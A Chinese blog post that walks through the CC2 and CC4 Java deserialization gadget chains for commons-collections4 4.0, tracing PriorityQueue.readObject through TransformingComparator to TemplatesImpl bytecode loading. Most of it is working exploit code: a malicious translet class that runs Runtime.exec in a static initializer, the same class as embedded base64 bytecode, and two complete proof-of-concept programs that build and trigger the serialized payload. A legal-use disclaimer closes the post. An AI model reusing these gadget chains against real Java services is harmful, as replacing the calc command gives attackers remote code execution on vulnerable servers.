cc2/4链:针对commons-collections4的攻击

cc2/4是干嘛的

cc2、cc4针对的commons-collections4版本大于4.0(含)

入口略有不同,后续和cc3一样通过TemplatesImpl加载恶意字节码

调用链

PriorityQueue.readobject

PriorityQueue的反序列化方法调用了heapify()

image

heapify

heapify()调用了siftDown

可以看见元素需要大于两个,所以我们编写poc时候需要手动添加

image

siftDown

之后调用siftDownUsingComparator

image

siftDownUsingComparator

调用了compare方法进行比较

image

殊途同归

而TransformingComparator的compare方法调用了transform,之后就是cc1/cc3的那套了

image

代码

首先制作一个恶意类

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {

    static {
        try {
            System.out.println("    [+]calc类的静态初始化模块,调用Runtime.getRuntime().exec(\"calc.exe\");");
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

之后先运行一次程序,获取Calc.java

在其目录下certutil -f -encode Calc.class class.base64获取字节码

pom依赖

复现时候的pom.xml如下

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>cc2</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>
</project>

cc2

编写poc

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws  NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        //Calc a=new Calc();
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAQgoACwAnCQAoACkIACoKACsALAoALQAuCAAvCgAtADAHADEKAAgA" +
                "MgcAMwcANAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUB" +
                "ABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTG9yZy9leGFtcGxlL0NhbGM7" +
                "AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJu" +
                "YWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9z" +
                "ZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1M" +
                "Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAho" +
                "YW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJp" +
                "YWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADUBAKYo" +
                "TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNv" +
                "bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRv" +
                "cjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1Nl" +
                "cmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcv" +
                "YXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRs" +
                "ZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVy" +
                "L1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lv" +
                "L0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADEBAApTb3VyY2VGaWxlAQAJ" +
                "Q2FsYy5qYXZhDAAMAA0HADYMADcAOAEAVSAgICBbK11jYWxj57G755qE6Z2Z5oCB" +
                "5Yid5aeL5YyW5qih5Z2X77yM6LCD55SoUnVudGltZS5nZXRSdW50aW1lKCkuZXhl" +
                "YygiY2FsYy5leGUiKTsHADkMADoAOwcAPAwAPQA+AQAIY2FsYy5leGUMAD8AQAEA" +
                "E2phdmEvaW8vSU9FeGNlcHRpb24MAEEADQEAEG9yZy9leGFtcGxlL0NhbGMBAEBj" +
                "b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9B" +
                "YnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVy" +
                "bmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEA" +
                "A291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJl" +
                "YW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5n" +
                "L1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAE" +
                "ZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEA" +
                "D3ByaW50U3RhY2tUcmFjZQAhAAoACwAAAAAABAABAAwADQABAA4AAAAvAAEAAQAA" +
                "AAUqtwABsQAAAAIADwAAAAYAAQAAAAsAEAAAAAwAAQAAAAUAEQASAAAAAQATABQA" +
                "AgAOAAAAPwAAAAMAAAABsQAAAAIADwAAAAYAAQAAABkAEAAAACAAAwAAAAEAEQAS" +
                "AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAOAAAASQAA" +
                "AAQAAAABsQAAAAIADwAAAAYAAQAAAB4AEAAAACoABAAAAAEAEQASAAAAAAABABUA" +
                "FgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAIAANAAEADgAAAG0A" +
                "AgABAAAAGrIAAhIDtgAEuAAFEga2AAdXpwAISyq2AAmxAAEAAAARABQACAADAA8A" +
                "AAAaAAYAAAAPAAgAEAARABMAFAARABUAEgAZABQAEAAAAAwAAQAVAAQAIQAiAAAA" +
                "IwAAAAcAAlQHACQEAAEAJQAAAAIAJg==");
        System.out.println("[+]构造TemplatesImpl");
        TemplatesImpl obj = new TemplatesImpl();
        // 设置字节码及其对应类名
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "Calc");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        // 构造Payload
        System.out.println("[+]invokerTransformer调用newTransformer方法");
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        System.out.println("[+]构造priorityQueue,transformingComparator");
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        System.out.println("[+]将TemplatesImpl装入priorityQueue(同时手动多填入一个元素)");
        priorityQueue.add(obj);
        priorityQueue.add(2);

        System.out.println("[+]反射赋值priorityQueue中的transformingComparator的transformer,修改为上方那个能调用newTransformer方法的对象");
        Class c = transformingComparator.getClass();
        Field transformerField = c.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,invokerTransformer);



        // 序列化
        System.out.println("[+]序列化priorityQueue");
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();

        // 反序列化
        System.out.println("[+]反序列化priorityQueue");
        //System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }

    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }


}

cc4

编写poc

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        //Calc a=new Calc();
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAQgoACwAnCQAoACkIACoKACsALAoALQAuCAAvCgAtADAHADEKAAgA" +
                "MgcAMwcANAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUB" +
                "ABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTG9yZy9leGFtcGxlL0NhbGM7" +
                "AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJu" +
                "YWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9z" +
                "ZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1M" +
                "Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAho" +
                "YW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJp" +
                "YWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADUBAKYo" +
                "TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNv" +
                "bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRv" +
                "cjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1Nl" +
                "cmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcv" +
                "YXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRs" +
                "ZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVy" +
                "L1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lv" +
                "L0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADEBAApTb3VyY2VGaWxlAQAJ" +
                "Q2FsYy5qYXZhDAAMAA0HADYMADcAOAEAVSAgICBbK11jYWxj57G755qE6Z2Z5oCB" +
                "5Yid5aeL5YyW5qih5Z2X77yM6LCD55SoUnVudGltZS5nZXRSdW50aW1lKCkuZXhl" +
                "YygiY2FsYy5leGUiKTsHADkMADoAOwcAPAwAPQA+AQAIY2FsYy5leGUMAD8AQAEA" +
                "E2phdmEvaW8vSU9FeGNlcHRpb24MAEEADQEAEG9yZy9leGFtcGxlL0NhbGMBAEBj" +
                "b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9B" +
                "YnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVy" +
                "bmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEA" +
                "A291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJl" +
                "YW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5n" +
                "L1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAE" +
                "ZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEA" +
                "D3ByaW50U3RhY2tUcmFjZQAhAAoACwAAAAAABAABAAwADQABAA4AAAAvAAEAAQAA" +
                "AAUqtwABsQAAAAIADwAAAAYAAQAAAAsAEAAAAAwAAQAAAAUAEQASAAAAAQATABQA" +
                "AgAOAAAAPwAAAAMAAAABsQAAAAIADwAAAAYAAQAAABkAEAAAACAAAwAAAAEAEQAS" +
                "AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAOAAAASQAA" +
                "AAQAAAABsQAAAAIADwAAAAYAAQAAAB4AEAAAACoABAAAAAEAEQASAAAAAAABABUA" +
                "FgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAIAANAAEADgAAAG0A" +
                "AgABAAAAGrIAAhIDtgAEuAAFEga2AAdXpwAISyq2AAmxAAEAAAARABQACAADAA8A" +
                "AAAaAAYAAAAPAAgAEAARABMAFAARABUAEgAZABQAEAAAAAwAAQAVAAQAIQAiAAAA" +
                "IwAAAAcAAlQHACQEAAEAJQAAAAIAJg==");
        TemplatesImpl obj = new TemplatesImpl();
        // 设置字节码及其对应类名
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "Calc");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        // Object o = obj.newTransformer();
        // 构造Payload
        System.out.println("[+]构造TrAXFilter");
        ConstantTransformer a= new ConstantTransformer(TrAXFilter.class);
        System.out.println("[+]构造InstantiateTransformer");
        InstantiateTransformer b=new InstantiateTransformer(
                new Class[] { Templates.class },
                new Object[] {obj}
        );

        Transformer[] transformers = new Transformer[] {a, b};
        // 声明一个fakeTransformers
        Transformer[] fakeTransformers = new Transformer[]{
                new ConstantTransformer(1)
        };
        System.out.println("[+]构造transformerChain");
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        System.out.println("[+]构造priorityQueue,并将TransformingComparator放入(TransformingComparator的compare会触发Transform)");
        PriorityQueue priorityQueue = new PriorityQueue(new TransformingComparator(transformerChain));
        System.out.println("[+]手动添加元素");
        priorityQueue.add(1);
        priorityQueue.add(2);

        setFieldValue(transformerChain, "iTransformers", transformers);

        // 序列化
        System.out.println("[+]序列化priorityQueue");
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();

        // 反序列化
        System.out.println("[+]反序列化priorityQueue");
        //System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }

    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }


}

运行结果

cc2运行结果

image

cc4运行结果

image


相信国家相信党,黑客没有好下场
请遵守相关法律法规,文中技术仅用于有授权的安全测试,禁止用于非法活动!
本文章仅面向拥有合法授权的渗透测试安全人员及进行常规操作的网络运维人员。
在操作的过程中,您应确保自己的所有行为符合当地法律法规,且不得进行违反中国人民共和国相关法律的活动。

posted @   aixve  阅读(19)  评论(0编辑  收藏  举报
努力加载评论中...
点击右上角即可分享
微信分享提示